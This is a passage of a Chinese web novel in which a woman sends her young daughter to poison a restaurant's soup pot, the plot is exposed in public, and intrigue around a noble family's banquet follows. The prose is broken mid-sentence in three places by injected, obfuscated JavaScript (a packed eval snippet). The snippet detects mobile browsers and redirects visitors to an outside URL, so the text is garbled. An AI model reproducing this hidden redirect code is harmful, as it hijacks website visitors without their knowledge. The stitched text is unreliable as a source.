见她哭得可怜，程虞心一软，便将她领进店来：“快别哭了，先进来喝口水，吃口点心，姐姐帮你找娘。” 她给沈静柔倒了杯温热的蜜水，又拿了几块刚蒸好的桂花糕。 小姑娘小口吃着，看起来乖巧极了，一双大眼睛却不安分地偷偷四下打量。 程虞现在负责面条档口，早上还要揉面、炒浇头，今日张澈不知是起晚了还是怎么着，一直没来。 程虞怕耽误生意，于是揽下了原本属于张澈的活计。 她从井水中捞起泡了半夜的羊大骨和切成大块的羊腩肉，此时羊肉浸泡得血色尽去，微微发白。 她费劲将巨大的双耳陶锅架在灶上，将羊骨与羊肉冷水下锅，再加入几片老姜、一把葱结，并倒入小半碗黄酒。 沈静柔目不转睛盯着程虞的每个动作。 随着灶火越来越旺，锅内泛起白色的浮沫。 程虞将所有浮沫一一撇净，直至汤色变得清澈起来。 焯好水的羊肉被捞出，锅里的水也重新换过，再次烧滚后，才将羊肉羊骨放回去。 “好了，现在转文火，让它自个儿慢慢咕嘟着。”程虞盖上半边锅盖，让水蒸气能缓缓溢出。 沈静柔走近那口锅，用手轻轻触了一下锅盖。 程虞不疑有他，只觉得小孩子好奇，便笑着牵起她的手：“这是熬羊汤的锅，可别乱碰，烫着呢！你到一旁去。” 店里的伙计都陆陆续续来了，唯不见张澈。 程虞将手放在围裙上擦了擦，一边埋怨又一边忍不住担心起来，张澈平时最守时，不会迟到，今个难道是病了？ 阿虞走到其他店铺门口，挨个交代了若是小姑娘的家人寻来，一定要指路。 大双说：“阿虞，等我手头不忙的时候，我给她领慈幼局去！总放我们这也不行。” 程虞点点头，继续忙活去了。 汤锅咕嘟咕嘟地翻滚着乳白色的汤汁，浓郁的香气弥漫在整个空间。 伙计们正忙着备菜，无人特别注意这个被程虞牵进来的小女孩。 沈静柔的心脏怦怦直跳，母亲冰冷的话语在她耳边回响：“……把那包白粉，趁人不注意，撒进她家最大的那口汤锅里。成功了，娘给你买最大的绢花……” 恐惧和诱惑交织之下，她的小手悄悄伸进了袖袋，摸到了那个用油纸包着的小小粉末包。 就在她瞅准一个空档，踮起脚，颤抖着手准备将纸包里的东西往汤锅里倒的千钧一发之际。 “沈静柔！你在做什么！” 一声清冷的厉喝如同惊雷般在门口炸响。 沈芙蕖办完事回来，正巧路过厨房，一眼就瞥见了沈静柔。 沈静柔吓得魂飞魄散，手一抖，那包毒药掉在地上，白色的粉末撒了一地。 她小脸瞬间惨白，哇地一声大哭起来。 整个后厨的人都惊呆了，目光聚焦在那包可疑的粉末和吓哭的孩子身上。 程虞更是目瞪口呆，难以置信地看着自己刚刚亲手领进来的小姑娘。 沈芙蕖面沉如水，快步上前，先是小心地用脚尖拨开那粉末，避免旁人触碰，然后转向沈静柔：“是不是你娘让你来的？这又是什么？” “是……是娘……娘给我的……说撒进去……姑姑的店就开不成了……”沈静柔在极大的惊吓下，抽抽噎噎地全说了出来。 滔天的怒火瞬间席卷了沈芙蕖。 她料到赵氏恶毒，却万万没想到她竟能狠心至此，利用亲生女儿行此灭门绝户之事。 这已不是简单的争斗，这是谋财害命！ 她一把拉起沈静柔的手腕，捡起地上那未散尽的纸包，另一手端起那锅险些被下毒的羊汤，大步流星地朝店外走去。 “赵氏！你给我滚出来！”沈芙蕖的声音从未如此冰冷尖锐，穿透了整条街道。 所有行人、商户都被这突如其来的怒吼吸引，纷纷围拢过来。 赵氏原本正躲在雪腴轩门内偷看，听到女儿哭声和沈芙蕖的怒吼，心知不妙，刚想躲藏，却被几个好奇的街坊堵在了门口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16281916|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈芙蕖拖着哭泣的沈静柔，径直走到雪腴轩门前，将女儿往赵氏怀里一推。 在所有人惊愕的目光中，她扬手。 狠狠给了赵氏一巴掌。 一记响彻云霄的耳光，狠狠扇在赵氏的脸上。 力道之大，让赵氏直接踉跄了一步，脸颊上瞬间浮现出清晰的指印。 “毒妇！”沈芙蕖眼中几乎喷出火来，“你我之间纵有千般怨万般恨，竟歹毒到利用稚子行此灭门绝户之事！这包粉末，是不是你给的？！让你亲生女儿往我汤锅里下毒，赵氏，你的良心被狗吃了吗？” 赵氏被打懵了，捂着脸，听到“下毒”二字，吓得魂飞魄散，下意识尖声否认：“你胡说！你血口喷人！我没有！” “没有？”沈芙蕖气急反笑，三步并两步将沈静柔从一旁拽了出来，捏着沈静柔的嘴就要将粉末倒进去。 沈静柔印象中的小姑，是个温柔的女子，连说话都不会很大声。 她从来没有这么对过她，她的脸被捏得好疼，眼泪哗哗往下流。 “姑姑，你放开我，我疼！” “沈芙蕖！你做什么，放开我女儿！我跟你拼了！”赵氏见沈芙蕖发了疯似的，害怕极了，一头撞上来将沈芙蕖的手拍开。 “你冲我来！害我儿干什么！”赵氏保住女儿，将她护在怀里。 “沈静柔，你是三岁小儿吗？！这一包毒药倒进去，会死多少人的你知不知道？！你娘坏，你也蠢！” 沈芙蕖常年劳作，力气十足，见旁边有一盆浇花的雨水，抄起家伙就劈头盖脸往赵氏母女身上砸去。 两人瞬间被浇成落汤鸡。 雪腴轩的伙计们也是怕了胡搅蛮缠的赵氏，见赵氏母女被打，也并不上去帮忙，一味躲在店里看戏。 沈芙蕖冷笑，目光扫过围观的众人，朗声道：“诸位街坊邻里都在此，今日就请大家做个见证！这锅汤，方才险些被这毒妇指使亲女下了毒！” 她说着，走到街边阿虞立刻递过来一碗喂鸡鸭的糙米。 沈芙蕖将米与粉末拌在一起，猛地撒向街边正在啄食的几只鸡鸭。 不过片刻功夫，那些吃了米粒的鸡鸭突然发出凄厉的惨叫，扑腾着翅膀，抽搐挣扎了几下，便纷纷口吐白沫，倒地毙命。 “哗！” 人群瞬间炸开了锅！所有人都倒吸一口冷气，连连后退，脸上写满了惊恐和难以置信。 “天爷啊！真是毒药！” “竟是真的……要死人的啊！” “这赵氏……竟如此狠毒！” “这还是人吗？！这一锅羊汤，得害死多少人啊！” 证据确凿，铁证如山。 方才还对沈芙蕖当街打人略有微词的人，此刻目光全都变成了对赵氏的极度恐惧和愤怒。 这已远远超出了街坊争斗的范畴，这是赤裸裸的投毒谋杀。 今日能对芙蓉盏下此毒手，明日谁知道会不会因为一点口角就毒死他们？ “报官！必须报官！”人群中有人愤怒地高喊。 “抓她去见官！这等毒妇，不能再留在我们街上！” 群情激愤，众人指着赵氏母女，唾骂声如同海啸般涌来。 赵氏面无人色，浑身抖得像秋风中的落叶，死死搂着同样吓傻了的女儿，再也说不出一句狡辩的话，眼中只剩下彻底的恐惧和绝望。 沈芙蕖站在一片怒潮中央，胸口剧烈起伏，那一巴掌的余震还留在掌心。 她看着地上死去的鸡鸭，看着面如死灰的赵氏，心中没有半分快意，只有一阵冰凉的后怕和深切的悲哀。 39. 第三十九章 赵氏指使亲女投毒一事，人证物证确凿，其手段之歹毒、影响之恶劣，顷刻间震动了整个汴京城。 无需沈芙蕖再多置一词，愤慨的街坊与险些受害的食客便自发联名，将赵氏捆送官府。 关于赵氏该当何罪，程虞还特地请教了草市坊的葛秀才。 葛秀才往日多受沈芙蕖照拂，特地将《刑统》搬来，一边翻检，一边解释道：“赵氏此番犯下两桩大罪。其一为教令他人犯罪，其二为谋杀未遂，且针对的是芙蓉盏中诸多不相识的食客，性质可谓极其恶劣。” 程虞拍手称快：“真是大快人心！葛先生，您瞧着她会判个什么罪？” 葛秀才指尖点着书页，认真道：“《刑统》上写得明明白白：诸谋杀人者，徒三年；已伤者，绞；已杀者，斩……其造意者，虽不行，仍为首。” 程虞听得睁大了眼：“如此说来，岂不是要问斩？真是老天开眼！” 赵氏的丈夫沈玉裁，虽也对妻子的愚顽横行痛心疾首，终究顾念夫妻情分与家门颜面，开始四处奔走打点。 他头一桩事，便是寻到沈芙蕖，希望她能看在侄女年幼无知且尚未酿成大祸的份上，网开一面。 沈芙蕖却连一面都不愿见。 程虞话说得在理：“当年对簿公堂之时，沈娘子便已与你家断绝亲缘。她孑然一身，何来什么侄女？” 沈玉裁又软语恳求，一会儿说赵氏愚昧昏聩不通律法，一会儿又说反正无人伤亡，愿出一百贯钱以为补偿。 大双抬眼驳道：“她愚昧无知？她为刁难我们芙蓉盏，什么阴损事做不出来？你身为丈夫，从不劝阻，反而一味纵容，如今倒想把罪责全推她一人身上？” 小双也接口道：“你该庆幸我们掌柜的发现得早！要不然，那一锅汤下去要害多少性命？到那时捉拿的又岂止赵氏一人，连你也脱不得干系！” 见沈芙蕖这边说不通，沈玉裁只得变卖部分家财，卑躬屈膝地去求往日的故交，想以“妇道人家昏聩无知”为由，争取一个流放之类的宽判，免去死刑。 可他很快发觉，原先尚能说上几句话的衙门旧识，如今皆对他避之唯恐不及。 仿佛有一股更强大、更隐秘的力量在暗中推动，要求此案“从严从速，以儆效尤”。 沈玉裁使出去的银钱和人情，竟如石沉大海，不见半分回响。 这股力量的源头，正是陆惠善。 她动用了陆府的人脉，甚至借用了陆却的名义，向主审官员传递了清晰的意思，此风绝不可长，务必严惩不贷。 经她一番推波助澜，一切流程皆异常迅速地推进。赵氏“依律判斩”的裁决不出几日便核定下来，再无周转余地。 事了之后，陆惠善便派侍女寻了个机会来到芙蓉盏。 “要十份卤鸭翅，我自个儿带了食盒。”那侍女脆生生道。 程虞认出了陆惠善的侍女，上次来订花的也是她，也算是芙蓉盏的老主顾了，因此麻利装了十份，还多送了些。 侍女爽快付了钱，似是无意道：“程娘子，你们掌柜的今日不在店里？也是，这投毒案传得沸沸扬扬，沈娘子一定讴得不行。” 程虞撇撇嘴：“谁说不是呢！曾经也是一个屋檐下生活过的，竟做出这种丧尽天良的事，我们掌柜的这几天，气得连觉都睡不好呢！” 侍女并不着急走，反而吩咐车夫等会再来，悄声对程虞说：“程姑娘不知，那赵氏的丈夫这几日四处钻营，本想轻判呢。我们家娘子实在气不过，想着绝不能让她逍遥法外，便……便求了刑部官员说了几句话。总算，没让她得逞。” 这侍女将陆惠善描绘成暗中出力，替沈芙蕖解决心腹大患的恩人，眼神期待地看着程虞。 “原来如此！你们娘子可真是个好人！”程虞果然大为感动，从前对陆惠善的偏见也消失得一干二净，对这个侍女的态度也有些亲热起来，拉着人家吃果子。 待侍女走后，程虞又将此事转告给沈芙蕖。 沈芙蕖是何等通透之人，她早已从打探来的消息中知晓，陆惠善确实在其中功不可没。 虽不喜这种背后运作的手段，但对方毕竟名义上帮了自己。 她压下心中的异样感，语气平静：“惠善娘子仗义执言，此情我记下了。” 事了之后，陆惠善特意选在陆却休沐在家的日子，装作不经意地提起了这桩案子。 “哥哥可听说了？那个意图在芙蓉盏下毒的赵氏，判决已下来了，是斩刑。”她语气轻缓，带着几分恰到好处的唏嘘。 “只是不知她那女儿……哥，那孩子才九岁，也会被问罪么？” 陆却正翻阅着卷宗，并未抬头，只平静答道：“我朝律法，重在严惩元恶，对幼弱多有宽宥。孩童心智未开，易受教唆，不会施加刑罚。不过，大抵要没为官奴，发往官作坊服役，或赐予功臣之家为婢。” “这样啊……”陆惠善轻轻颔首，一副了然又感慨的模样。 她深知兄长最厌徇私干预司法之事，于是话锋微转，悄声叹道： “那赵氏自是罪有应得。只是……唉，哥，不瞒你说。沈娘子许是先前受惊太过，前些日子特来求我，想让我托些关系，务必从重从快了结此案，绝不容赵氏有喘息之机。我见她惶惶可怜，一时心软，便应了她这一回。” 果然，陆却闻言眉头蹙紧。 他沉默片刻，声音沉了几分：“依法论处便是，何必多此一举。” 语气里含着一丝不易察觉的失望。 他向来欣赏沈芙蕖的独立坚韧，却不料她竟也会卷入这等请托钻营之事。 陆惠善忙轻声解释：“哥，我也是看她一个女子支撑门户实在不易，想起她之前在春宴中也帮过你，这才没忍心回绝……若不是念着这份情，我又怎会多事？” “惠善。”陆却放下卷宗，看向她，“我早同你说过，我身在大理寺，多少人心存意图，欲从你这儿寻方便。今日你允了沈芙蕖，来日就难挡更多人登门请托。” 陆惠善顿时垂泪，语带哽咽：“我知道错了，哥哥，以后再也不敢了。沈娘子送来的金钗凤簪，我一件未留，原样都退了回去……我真的知错了。” 陆却终是缓了神色：“罢了。即便你不插手，赵氏之罪也无可转圜。你心思单纯，易被他人利用，往后若再遇这类事，须先来问我。” 陆惠善这才破涕为笑，娇声道：“哥哥你是不知道，大理寺被你管得那般森严，上回我想去给你送些吃食，周寺正都拦着不肯通传，我哪还敢为这个去找你呀。” 陆却微微摇头：“怪不得他们，规矩原是我定的。” 陆惠善却抿嘴一笑，似打趣又似试探：“哥哥莫不是骗我？我瞧沈娘子出入却自由得很。看来这规矩呀，是单对我一个人用的。” “休要胡说。”陆却语气依旧平淡，脸色却不由得沉了下去，“对谁皆是一样。” 待到午后，陆惠善又去了陆夫人房中。 陆夫人近来睡眠不佳，常抱怨头痛，陆惠善便执起篦子，一边为她细细篦头，一边软语陪着说话。 提及投毒一案，陆惠善语带忧切，更掺着几分对沈芙蕖的不满。 “母亲，您可要劝劝哥哥！他这次为了那芙蓉盏的沈娘子，竟破了自己定下的大例！” 陆夫人闻言，顿时头也不疼了，身子也不难受了，急忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16303186|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追问：“怎么回事？我儿怎么了？” “母亲，我……也不知此事是真是假。只是听下人们私下议论，说是沈娘子去求了哥哥，哥哥竟为她暗中打点了刑狱司那头，催着给赵氏定了死罪。” 陆惠善语气显得十分焦急：“哥哥向来最重律法规矩，如今却为了一个外人行此……此事若传扬出去，岂不坏了他清正的名声？” 陆夫人一听，当即火冒三丈。 她本就因陆却前些时日的顶撞心存芥蒂，此刻又听闻儿子竟为这样一个女子违背原则插手讼狱，更是将沈芙蕖视作蛊惑儿子败坏门风的祸水。 “好个不知轻重的商门女子！竟敢撺掇我儿做这等事！”陆夫人气得拍案而起，“我陆家的门楣，岂容她来玷污！” 陆惠善似被吓到，噤声片刻，才低低说道：“赵氏被判斩刑，她那九岁的女儿也要充为官奴了……真是作孽。” 陆夫人咬牙切齿道：“我看根本就不是那么回事！我可还记得，几个月前，这沈氏一纸诉状将她哥嫂告上大理寺，指控他们偷贩什么……” “硇砂。”陆惠善轻声接话。 “对！说他们贩卖硇砂！那案子至今还没个定论呢，可见沈氏巧言令色，撒谎构陷。那赵氏定是被逼得走投无路，才出此下策！”陆夫人越说越觉得确凿。 陆惠善若有所思，顺着她的意思道：“或许其中另有隐情。难怪……沈娘子要托哥哥尽快定罪。人一死，可不就死无对证了？” 陆夫人听她这么一说，愈觉自己的推断有理，愤然道：“说到底，不过是姑嫂间鸡毛蒜皮的争执，何至于非要置人于死地？这沈氏如此铁石心肠，真叫人胆寒。” “是啊，母亲。若哪家娶了这样的媳妇进门，还不知要闹出怎样的事端。” 陆惠善重新执起篦子，缓缓为陆夫人梳头，语气轻淡，却字字敲在陆夫人心坎上。 “你哥就是在大理寺那和尚庙里待得太久，这才会被外头那些略有姿色的女子迷了心窍！”陆夫人犹自愤愤不平。 陆惠善抿嘴一笑，适时接话：“母亲前些日子不是还说，为哥哥相中了一位贤良淑德的姑娘？” 陆夫人所看中的，正是翰林学士崔知白的次女——崔婉如。此女出身博陵崔氏，乃五姓七家之一，是传承数百年的顶级士族门阀，门第清贵非常。 翰林学士一职清要显重，掌管制诰、修撰国史、主持礼仪，地位尊崇，为天子近臣，将来极有可能入阁拜相。 若有这样的岳父提携，对陆却的仕途自是莫大的助益。 思及此处，陆夫人语气渐缓，沉吟道：“那崔婉如性情柔顺，知书达理，沉静端庄。在京中士族女眷间素有贞静贤淑的美名。上回我在宫中宴集时见过崔娘子一面，确是个极好的姑娘！” “惠善，若贸然相邀，未免唐突。我想……还是借你的名义，请她过府一叙更为妥当。” 陆惠善答应得十分爽快：“再过些时日，我院中那几树绿梅也该开了，我便以赏梅为由，下帖请崔娘子过来。” 她略一思忖，眼中掠过一丝微妙的光，轻声道：“女儿倒有个主意。不如将这场赏梅宴交给沈娘子来操办。一来，母亲可借此机会敲打于她，让她明白身份，绝了那些不该有的念头。二来，她亲眼见了崔娘子，自知与五姓女的云泥之别，想必也就知难而退了……” “惠善，还是你最懂为娘的心！如此甚好。”陆夫人颔首称许，转念却又蹙眉，“只是……那沈氏若不肯接这差事，又该如何？” 陆惠善轻轻摇头，语气笃定：“只要银钱给得足够，她一定会答应。” 陆夫人听罢，对沈芙蕖的轻视不由又添了几分。 40. 第四十章 赵氏投毒一案，经刑部与大理寺复核，终是铁板钉钉，一纸判文下来，定了秋后问斩。 消息传出，草市坊百姓拍手称快，人人都说多亏芙蓉盏的掌柜机敏，芙蓉盏显示出苦主蒙冤后终得昭雪的形象，生意更好了。 沈芙蕖听闻，只淡淡叹了口气，吩咐程虞往后店门口的施粥棚每日多添一桶粥，算是为店里积些阴德。 店内刚恢复平静不久，这日午后，一辆装饰雅致却不失华贵的马车停在了芙蓉盏门口。 车帘掀开，在侍女搀扶下，陆惠善盈盈走了下来。她今日打扮得格外清丽，不似以往华贵，只一身雨过天青色的襦裙，发间只簪一枚玉蝶，弱质纤纤，我见犹怜。 程虞正忙着算账，抬头见她，愣了一下，随即挂上笑脸迎上去：“陆娘子安好，可是来喝羊汤？” 陆惠善柔柔一笑，声音温软：“程姑娘，我今日是特地来寻沈掌柜，有件要紧事想与她商量。” 程虞引她到二楼雅间，便去后厨寻沈芙蕖。 沈芙蕖正挽着袖子与张澈核对新一批羊肉的斤两，听闻陆惠善亲自到访，心下诧异，净了手，整理了一下衣衫便上楼去。 “陆娘子大驾光临，可是有事？”沈芙蕖推门而入，语气平和。 陆惠善立刻起身，脸上堆起恰到好处的歉然和恳求：“沈娘子，冒昧前来，实在是有一事相求，除了沈娘子，惠善实在不知还能找谁了。” “娘子言重了，请坐，慢慢说。”沈芙蕖在她对面坐下，亲自斟茶。 陆惠善轻叹一声，娓娓道来：“再过些时日，我院中的几株绿梅便要开了。母亲想着借此机会办一场小宴，邀请几位相熟的姐妹赏花小聚。本是家事，不该来劳烦沈娘子，只是……母亲对宴席菜品要求极高，府中厨子做出的总是那几样老花样，实在难以令人满意。” 她顿了顿，观察着沈芙蕖的神色，继续道：“我便想到了沈娘子。娘子的手艺是汴京一绝，若能请得娘子出面操持此次宴席，定能宾主尽欢。母亲听了我的提议，也十分心动，特意嘱咐我，定要重重酬谢娘子。” 沈芙蕖闻言，眉头微蹙，她本能地想要拒绝，上次操办大理寺春宴的劳苦历历在目，众口难调倒在其次，关键是风险极大。 来的都是矜贵的夫人小姐，食材稍有差池，口味略不合意，或是席间出半点纰漏，砸了招牌事小，开罪了任何一位，都后患无穷。 “承蒙陆夫人和陆娘子看得起。”沈芙蕖斟酌着用词，“只是我这小店生意繁忙，实在抽不开身。且府上宴席规矩繁多，我一介市井粗人，恐难胜任，反倒扫了各位贵人的雅兴。” 陆惠善似乎早料到她会推辞，立刻换上一副泫然欲泣的可怜表情：“沈娘子，我知道这让你为难了。可……可我也是实在没法子了。此次宴请，于我……于我至关重要。”她欲言又止，仿佛有难言之隐。 “沈娘子也知道，家中安排了亲事……韩家那位贵人，想方设法见我一面，我若不从，母亲将对我多有埋怨。”她拿起手帕，轻轻按了按眼角，“自从知道了自己的身世，惠善整日战战兢兢，如履薄冰……” 她将自身姿态放得极低，又摆出了两人共同知道的秘密，显得可怜又无助。 沈芙蕖想起确实欠她一次出手相助之情，此刻若断然拒绝，于情于理都说不过去。 见沈芙蕖沉默，陆惠善趁热打铁，从袖中取出一个沉甸甸的锦囊，推到她面前：“沈娘子，这是定金三十贯。事成之后，另有五十贯酬谢。所有食材采买一应费用，均由陆府另行承担，绝不让你吃亏。” 八十贯！陆惠善出手之阔绰，远超沈芙蕖预料。这笔钱，对她而言诱惑极大，不仅能更快还清欠陆却的款项，更能为店铺后续扩张积累资金。 陆惠善察言观色，又软语哀求道：“沈娘子，你就当帮帮我这一次，好不好？宴席一切事宜都由你做主，府中人手随你调配。只需拟个菜单，那日亲自过去掌勺便可……” 沈芙蕖看着她苦苦哀求的模样，又掂量了一下那袋沉甸甸的铜钱，心中天人交战，风险与收益在她脑中飞速盘算。 最终，那份人情债和巨额酬金压倒了她的顾虑。她深吸一口气，终于松口：“……承蒙陆娘子信任，这差事，我接下了。” 另一边，陆惠善离开芙蓉盏后，登上马车，径直吩咐车夫前往崔府。 崔婉如自幼长在余杭祖母家中，近两个月方归汴京。甫一回来，便引得京中贵眷纷纷侧目，陆夫人正是对其青眼有加者之一。 她初来乍到，亦存了几分广结善缘的心思，因而近日来赴会赏宴，倒也颇为频繁。 递上拜帖，陆惠善很快见到了崔婉如。崔婉如果然人如其名，身着素雅衣裙，气质沉静，言谈举止间透着书香门第熏陶出的温婉与得体。陆惠善以“绿梅初绽，特邀姐妹共赏”为由，发出邀请。 崔婉如虽性情安静，但并非不通人情世故，深知陆家地位，便柔顺地应承下来。 陆却对这些闺阁聚会向来无甚兴趣，可听说陆夫人下了帖子请了韩进，担心这小子胡来，便决定过去小坐。 沈芙蕖这边，既然接下了这“瓷器活”，便立刻拿出了“金刚钻”的劲头。她白天忙碌店里的生意，晚上便挑灯夜战，琢磨宴席菜单，又怕不妥，特意请周寺正前来把关。 周寺正虽然比沈芙蕖大了一轮，可真心欣赏这个坚韧聪慧的小娘子，心里完全将她当成自家妹子，因此听到是陆惠善设宴，眉头便拧到一起去了，直言道：“沈娘子不应当接下这门差事。” “为何？”沈芙蕖眼皮一跳。 “此话本不该由周某多言。”周寺正神色凝重，“只是我活了三四十载，从未见过心思如陆姑娘这般机巧之人。蜂窝煤多孔，尚不及她心眼稠密。这般人物，沈娘子理当远离为上。” 换句话说，沈芙蕖固然聪慧，懂得如何应对赵氏那般的市井泼妇，也有办法与赵大头那样的泼皮无赖周旋。可她终究未曾受过深宅大族的教养，不明白朝堂权术与高门内帷之中妇人们的算计，是何等隐晦而凌厉。 更何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16303187|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况，沈芙蕖此番确是有些欠虑了。陆府设宴，规格自然极高，精细处甚至要远超大理寺春宴。以陆夫人那般矜持自高的性子，怎会轻易将如此要紧之事，托付给她这样一个外人操办？这其中，必然另有蹊跷。 沈芙蕖这才隐隐感到一些不对劲来，然而，当时回绝也就罢了，如今宴席将至，沈芙蕖已是骑虎难下了。 周寺正说：“事已至此，若定要前去，沈娘子务必带上全部得力人手。一旦遇上什么变故，自己人调度起来也便宜。” 此外，他又对着宴席上的名单，一一与沈芙蕖说了，尤其指出崔婉如和韩进两个人。 周寺正意味深长道：“这位崔姑娘，出身博陵崔氏，是陆夫人心中属意的儿媳人选。至于韩进，乃是韩相国家的次子，与陆家素有往来。陆姑娘此番将他二人同时请来……” “多谢周大人提点。”沈芙蕖深吸一口气，“只是如今已是箭在弦上，退不得，也避不开了。既然接了，我便只能将它办好，办得滴水不漏，让人挑不出错处来。 周寺正见她如此，知她心性坚韧，便也不再多言，只郑重道：“如此便好。切记，宴席之上，只论厨事，莫问其他。无论看到什么、听到什么，谨守本分，方能全身而退。若有任何难处，随时可遣人来大理寺寻我。” 周寺正的一番话，倒是给沈芙蕖警醒，她思虑再三，做出一个决定，赏梅宴那日，将芙蓉盏歇业三日。 消息一出，程虞第一个跳起来：“掌柜的！歇业三日？这得少赚多少银子啊！就为了去给她陆家办宴席？” 沈芙蕖神色平静：“既然接了，就要做好。店里的人手我必须全部带过去。大双小双心细，负责席面布置和传菜协调。阿虞，你刀工好，协助食材切配。张澈稳重，管理库房食材出入并统筹外场杂役。我们所有人，必须打起十二分精神，这场宴，绝不能出任何差错。” 她语气坚决，众人也知此事关系重大，纷纷领命。 接下来的日子，芙蓉盏全员都进入了备战状态。沈芙蕖亲自带着张澈去挑选最新鲜顶级的食材，活鱼活虾，时令菜蔬，无一不精。 程虞开始清点店中可携带的精致餐具，不够的便列出单子，让陆府去准备，大双小双则在闲暇时反复练习摆盘和布菜。 沈芙蕖穿梭于灶台与账桌之间，眉眼间带着一丝疲惫，却更多是专注和坚定。她深知这不是一场简单的宴席，而是她专业和应变能力的一次大考，尤其是在陆夫人和那位素未谋面的崔娘子面前，她更不能有丝毫失态和差池。 她隐隐感觉到陆惠善此举别有深意，但她无暇深究。无论前方是何局面，她唯一能做的，便是凭自己的本事，将这场宴席办得漂漂亮亮，然后拿钱走人，两不相欠。 而陆府之中，陆夫人听闻沈芙蕖竟要带全班人马过来，甚至不惜闭店三日，嘴角不由泛起一丝冷笑：“倒还算识趣，知道轻重。” 她已迫不及待地想看到，那个市井厨娘在真正高门淑女崔婉如面前，会是何等局促不安与自惭形秽的模样。 41. 第四十一章 赵清晏不知从何处听闻陆府设宴，且陆却也会赴席，顿时生了兴致，立刻跑来磨陆却。 “表哥，带我一起去瞧瞧嘛！整日在宫里，闷也闷死了！”赵清晏扯着陆却的衣袖，笑得一脸人畜无害。 经此提醒，陆却这才想起来，是有这么个宴席，陆惠善操办，于是眉头紧锁：“此乃臣家妹举办的私宴，皆是女眷闺秀，殿下前往，于礼不合。” “诶，不是说韩家二郎也去吗？怎就都是女眷了？我不管，我就要去！你若不肯，这也好办，我不请自来，难不成陆夫人能将我轰出去不成？”赵清晏耍起无赖。 陆却不理他，他便一顿闹腾，吵得陆却脑瓜疼。 陆却太阳穴突突地跳，深知东宫这位说得出做得到，与其让他胡来，不如放在眼皮底下看着。 万般无奈，只得说：“……殿下若要去，需应允臣，不可暴露身份，一切需听臣安排。” 沈芙蕖为此次宴席备下的食材，皆循时令，兼具暖身与雅致。她采买了上好的羔羊肩肉，以备煨制暖锅，另有冬日里难得的鲜嫩冬笋、霜打后格外清甜的菘菜、以及香菇、木耳、豆腐等物。 自然，还少不了陆夫人亲自点明的重头菜，产自江淮的鲜活鳜鱼数尾，本打算以清蒸之法，显其原味之鲜。 宴席前两天，芙蓉盏全员闭店。到了头一天，芙蓉盏将早已备齐的食材装入箱笼，以骡车运送至陆府。 陆府门房早已得了吩咐，神色间略带审视，引他们从侧门入内，直抵后厨。陆家的厨房宽敞明亮，器具一应俱全，显然常办盛宴。 宴席设在陆府暖阁之中，地龙烧得暖和。 暖阁外就是姿态清奇的梅花，枝干如墨，其上点缀的花朵并非俗艳红粉，而是罕见的浅碧色，瓣质如玉，冷香幽微，暗香浮动。 陆惠善今日一身鹅黄袄裙，宛如梅中蝴蝶，穿梭于宾客之间，言笑晏晏，八面玲珑。 一会儿与这位夫人细论梅花品种，一会儿称赞那家娘子衣饰精巧，眼波流转处，笑意温婉，将每一位客人都照顾得妥帖周到。 韩彦斜倚隐囊，姿态闲闲，一身风流意态。 他容貌承袭自那位甄姨娘，眉眼间自带几分精雕细琢的美艳，这般颜色落在男子面上，非但不显女气，反更添一段慵懒不羁的风致。 也难怪汴京城里，总有那么多心思单纯的小娘子，轻易便着了他的道。 韩彦的目光似有若无地扫过席间各位妙龄女子。偶尔，他会微微侧首，对身后垂手侍立的小厮低声点评几句。 “陆惠善和陆却生得可真是一点不像。呵……若陆却是个女儿身，只怕比他妹妹还要标致。”他低低一笑，语意轻佻，尾音里缠着几分玩味。 “瞧那位穿藕荷色的，容长脸儿，倒有几分弱柳扶风之态，只是眉间稍显局促，小家子气了些。” “嗯……崔家姑娘果然名不虚传，静坐时如画中人，这通身的气派，确是五姓七家的教养，只是好生无趣。” 他的声音极低，语气带着一种品评物件般的懒散与挑剔。 而被点评的崔婉如，正端坐于陆夫人下首不远处。她一身月白绣淡绿缠枝梅纹的衣裙，发髻梳得一丝不苟，只簪一枚通透的玉簪。 自入席后便始终微微垂眸，唇角含着恰到好处的浅淡笑意，姿态娴静，言语不多。 陆夫人满意瞧着崔婉如，越看越喜欢，恨不得立刻让陆却将其娶进家门。 气氛正渐入佳境时，突然，暖阁的锦帘被侍女挑起，一阵寒气卷入的同时，陆却的身影出现在门口。 他身着深色常服，面带些许疲惫之色，显然是从大理寺匆匆赶来。 “母亲，诸位，抱歉，公务缠身，来迟了。”他拱手致歉，声音一如既往的沉稳。 然而，令陆夫人及所有知情人瞬间倒吸一口冷气的是，在陆却身后，竟跟着一个身着华贵锦袍且眉眼含笑的少年郎，不是那混世魔王赵清晏又是谁？！ 